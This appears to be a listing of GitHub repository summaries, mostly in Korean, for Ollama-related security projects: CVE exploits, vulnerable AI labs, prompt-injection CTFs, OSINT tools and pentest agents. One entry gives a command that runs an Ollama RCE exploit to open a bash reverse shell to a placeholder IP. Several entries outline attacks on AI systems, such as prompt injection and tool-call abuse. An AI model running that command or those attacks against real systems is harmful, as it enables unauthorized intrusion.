CVE-2024-45436

Ollama CVE-2024-45436 익스플로잇 Ollama ZIP 경로 탐색 취약점CVE-2024-45436을 위한 깔끔하고 효율적인 익스플로잇 구현체입니다. 중국어 문서: READMECN.md 취약점 설명 CVE-2024-45436은 0.1.47 이전 버전의 Ollama에 존재하는 경로 탐색 취약점"Zip Slip"이라고도 함입니다. 이 취약점은 ZIP 파일 추출 작업 중 경로 검증이 부적절하게 이루어지는 점을 악용하여 공격자가 파일 시스템의 임의 위치에 파일을 쓸 수 있게 합니다. 이 결함은 모델 파일을 추출하는...

attack-stix-data

ATT&CK® STIX Data MITRE ATT&CK is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and ...

DVAP

DVAP - 대단히 취약한 AI 플랫폼 훈련. 공격. 방어. AI 시스템. AI 보안 교육, 레드/블루 팀 활동, CTF, 벤치마킹 및 연구를 위한 오픈소스 플랫폼입니다. 100% 로컬에서 실행됩니다. 클라우드 없음, 유료 API 없음, 데이터가 사용자의 기계를 떠나지 않습니다. 사전 요구사항 Docker 24+ 및 Docker Compose v2 16 GB RAM 최소 Ollama는 모델을 메모리에 로드합니다. 8 GB는 소형 모델에서만 작동 기본 이미지 및 최소 하나의 모델에 대해 20 GB의 여유 디스크 공간 x86-64...

hermes-osint

Hermes OSINT v3.0 🏛️🧠 에이전트 기반 OSINT 분석가 대화형 AI 기반 조사. 자연어. 전문가 수준의 결과. 🤖✨ v3.0의 새로운 기능 🎉 Hermes 3.0 은 파이프라인 기반 도구 조정에서 대화형 AI 기반 조사 플랫폼 으로의 완전한 패러다임 전환을 나타냅니다. Ollama를 통해 로컬 LLM을 구동하는 Hermes는 이제 자연어 질문을 이해하고, 자율적으로 도구를 선택 및 실행하며, 결과를 일관된 인텔리전스 보고서로 종합합니다. 🧠 에이전트 인텔리전스 자연어 인터페이스 - "Find everything...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux에서 실행해야 하며, 환경에 gcc가 필요합니다. golang을 설치하고 다음 명령을 실행하여 리버스 셸을 획득하십시오. go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 참고: 익스플로잇에는 몇 분이 걸릴 수 있으니 인내심을 가지고 기다려 주시기 바랍니다...

smartmap

Godview Godviewは、LLM（大規模言語モデル）とOSM（Open Street Map）に完全に基づいた地図です。 Anthropic、DeepSeek、またはOpen AIを使用します。 GodviewはOllamaを使用してローカルでも実行できます。 ウェブサイト: godview.ai インストール リポジトリを取得 git clone https://github.com/space0blaster/godview.git インストール 依存関係をインストールします。 npm install...

OllamaHound

OllamaHound 노출된 Ollama 서버를 발견하고, 버전을 식별하며, 모델 접근을 검증하기 위한 모듈식 툴킷입니다. OllamaHound 는 공개적으로 노출된 Ollama 서버 를 발견하고, 버전을 식별하며, CVE 노출 여부를 분류 하고, 텍스트 생성이 가능한지 검증하며, 선택적으로 통제된 테스트를 위한 대화형 CLI 세션을 활성화하는 모듈식 RedTeam 지향 툴킷입니다. @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@...

oneiromancer

oneiromancer "소프트웨어 개발에서 발생하는 결함의 상당 부분은 프로그래머가 자신의 코드가 실행될 수 있는 모든 가능한 상태를 완전히 이해하지 못하기 때문에 발생한다." -- John Carmack "둠Doom을 실행할 수 있나?" -- https://canitrundoom.org/ Oneiromancer는 Hex-Rays 의사 코드용으로 파인튜닝된 로컬 실행 LLM을 사용하여 코드 분석을 돕는 리버스 엔지니어링 어시스턴트입니다. 함수 또는 더 작은 코드 조각을 분석하고, 분석 결과를 바탕으로 코드가 수행하는 작업에 ...

ai-ctf

ai-ctf 프롬프트 인젝션이 처음인 기술자를 위한 안내형 레슨이 포함된 로컬 AI Capture-the-Flag. 플레이어는 프롬프트 인젝션, 도구 호출 악용, 비즈니스 로직 조작, 공급망 핑거프린팅, 웹 정찰, OSINT를 통해 20개의 플래그를 보호하는 여섯 개의 AI 페르소나하나는 숨겨짐를 탐색할 수도 있습니다. 안내 경로는 직접 인젝션, 도구 권한 부여, 편집 가능한 지식 문서를 통한 인젝션을 다룹니다. 힌트, 저장된 시도, 도구 증거, 완료 피드백, 보호된 도구 비교를 제공합니다. 원래의 연습 랩은 수동 이벤트 채점...

PwnzzAI

🍕 PwnzzAI/pəʊnzɑː/ 샵에 오신 것을 환영합니다 – 취약한 피자 가게! 💻 PwnzzAI 샵에서는 모든 조각이 포괄적인 AI 보안 교육 을 제공합니다. 이 실습형 학습 플랫폼은 전문가들이 AI 기술을 광범위하게 보호하는 방법을 이해할 수 있도록 준비시키며, 매력적이고 실용적인 피자 가게 시나리오를 통해 제공됩니다. 잘못된 재료가 피자를 망칠 수 있듯이, 결함이 있는 프롬프트나 부적절한 아키텍처는 AI 기술을 정보 유출, 지적 재산 도난, 또는 불법 접근을 포함한 심각한 위협에 노출시킬 수 있습니다. 여기서 여러분은...

phantom-brain

PHANTOM BRAIN v0.9 오프라인 AI 기반 침투 테스트 분석 도구 실제 하드웨어 통합 로컬 LLM 분석Ollama 사용을 WiFi, Sub-GHz, NFC/RFID 및 WPA2 캡처에 대해 수행 — 인터넷 불필요, 클라우드 API 없음, 100% 오프라인. 메인 LLM은 Windows PC에서 실행됩니다. Raspberry Pi는 경량 보조 노드실시간 캡처 + phi3:mini만 역할을 합니다. 지원 하드웨어: Flipper Zero · WiFi Pineapple MK7 · Proxmark3 · Raspberry P...

ai-kubernetes-helm-chart-security

Kubernetes에서의 AI: Helm 차트 보안 기본값 증거 자료 이 저장소는 Sorami 기술 보고서 "Kubernetes에서의 AI: 14개 Helm 차트 중 10개가 API 인증 없이 배포됨" 버전 1.2의 근거가 되는 데이터와 증거 자료를 담고 있습니다. 보고서는 여기에서 읽어보세요: https://sorami.com.au/research/ai-kubernetes-helm-chart-security/ 방법론, 발견 사항, 심각도 등급 및 보안 강화 조언은 보고서에 있습니다. 이 저장소에서는 이를 반복하지 않습니다...

airecon

AI 기반 자율 침투 테스트 에이전트 -orange.svg AIRecon은 자체 호스팅 Ollama LLM 과 Kali Linux Docker 샌드박스 , 네이티브 Caido 프록시 통합 , 구조화된 RECON → ANALYSIS → EXPLOIT → REPORT 파이프라인 , 실시간 Textual TUI 를 결합한 자율 침투 테스트 에이전트입니다. 완전히 오프라인으로 작동하며 API 키가 필요 없습니다. 왜 AIRecon인가? 상용 API 기반 모델OpenAI GPT-4, Claude, Gemini은 세션당 수천 건의 LLM...

AI-Vulnerabilities-Playground

AIVP AI 취약점 플레이그라운드 AIVP는 4단계 와 50개 이상의 랩현재 코드베이스 전반에 50개 이상의 시나리오에 걸친 실습형 AI 보안 랩 플랫폼입니다. Ollama + Llama 3.1 , FastAPI 백엔드, React/Vite 프론트엔드를 결합하여 실무자들이 공격적·방어적 AI 보안 기술을 안전하게 연습할 수 있게 해 줍니다. 도움이 되셨다면 리포지토리에 ⭐ star / like 를 눌러 주시고, fork 하신 뒤 PR을 자유롭게 열어 주세요! 목차 개요 실행 단계 사전 요구사항 프로젝트 구조 하드웨어 요구사항...

Moxy

Moxy Moxy 차세대 중간자 프록시 에이전틱 AI 기능Ollama 지원을 탑재한 오픈소스 DAST 도구로, 침투 테스트를 위해 설계되었습니다. browser-use를 기반으로 구축된 Moxy는 동적 애플리케이션 보안 테스트를 간소화합니다. 🚀 매우 쉽게 사용 가능 게다가 무료입니다. 무료를 싫어하는 사람이 어디 있겠습니까? 미리보기 알림: 🚧 Moxy는 활발히 개발 중이며 현재 프리뷰/베타 단계입니다. 호환성이 깨지는 변경, 불안정성, 누락된 기능이 예상됩니다. 위험을 감수하고 사용하시기 바라며, 최신 개선 사항을 위해...

METATRON

METATRON 로컬 LLM을 사용하는 AI 기반 침투 테스트 도우미 리눅스, Parrot OS 🔱 METATRON AI 기반 침투 테스트 도우미 📌 Metatron이란? Metatron 은 클라우드, API 키, 구독 없이 로컬 머신에서 완전히 실행되는 CLI 기반 AI 침투 테스트 도우미입니다. 대상 IP나 도메인을 입력하면, 실제 정찰 도구nmap, whois, whatweb, curl, dig, nikto를 실행하고 모든 결과를 로컬에서 실행 중인 AI 모델에 전달합니다. AI는 대상을 분석하고 취약점을 식별하며,...

Samuraizer

Samuraizer — サイバーセキュリティナレッジベースエンジン NotebookLM の強化版 — セキュリティ研究者向けに特化。 💡 Samuraizer の理由 セキュリティ研究者なら誰でも経験があります — 興味深い GitHub リポジトリ、新しい CVE の writeup、新しいエクスプロイト手法に関するブログ記事を見つける。それを WhatsApp で自分に転送する。すぐにチャットの海に埋もれる。数週間後、実際にその記事が必要になる — しかし見つからない。 もう二度と見つけられないリンクを送るのはやめましょう — Samuraizer...

AMBER-ICI

AMBER ICI v5 AMBER ICI AMBER Investigative Command Interface is a local-first browser interface for investigative and analytical workflows powered by a local Ollama server. It includes: A single-model Analyst Console and multi-model Parallel execution A user-defined agent chain driven from the ma...

CVE-2024-37032-PoC

CVE-2024-37032 Probllama PoC — Ollama 경로 탐색 및 권한 상승 이 저장소에는 승인된 랩 테스트를 위한 개념 증명PoC FastAPI 레지스트리 서버, 커넥터 스크립트 및 프리로드 데모 라이브러리가 포함되어 있습니다. 소유한 시스템 또는 명시적으로 테스트가 허용된 시스템에서만 사용하십시오. Files server.py: FastAPI PoC 서버를 시작합니다. rogueserver/config.py: PoC 서버의 중앙 구성입니다. connector.py: 대상 Ollama API에 pull/pus...

CVE-2024-39719

Ollama 파일 존재 노출 취약점 CVE-2024-39719 분석 中文 취약점 개요 CVE-2024-39719는 Ollama 버전 0.3.14 및 이전 버전에 영향을 미치는 파일 존재 노출 취약점입니다. 이 취약점으로 인해 공격자는 API 엔드포인트를 통해 서버상의 특정 파일 존재 여부를 탐지할 수 있으며, 잠재적으로 정보 유출로 이어질 수 있습니다. 공개일 : 2024년 10월 31일 취약점 상세 근본 원인 취약점은 Ollama의 /api/create 엔드포인트에 존재합니다. 공격자가 경로 매개변수를 사용하여...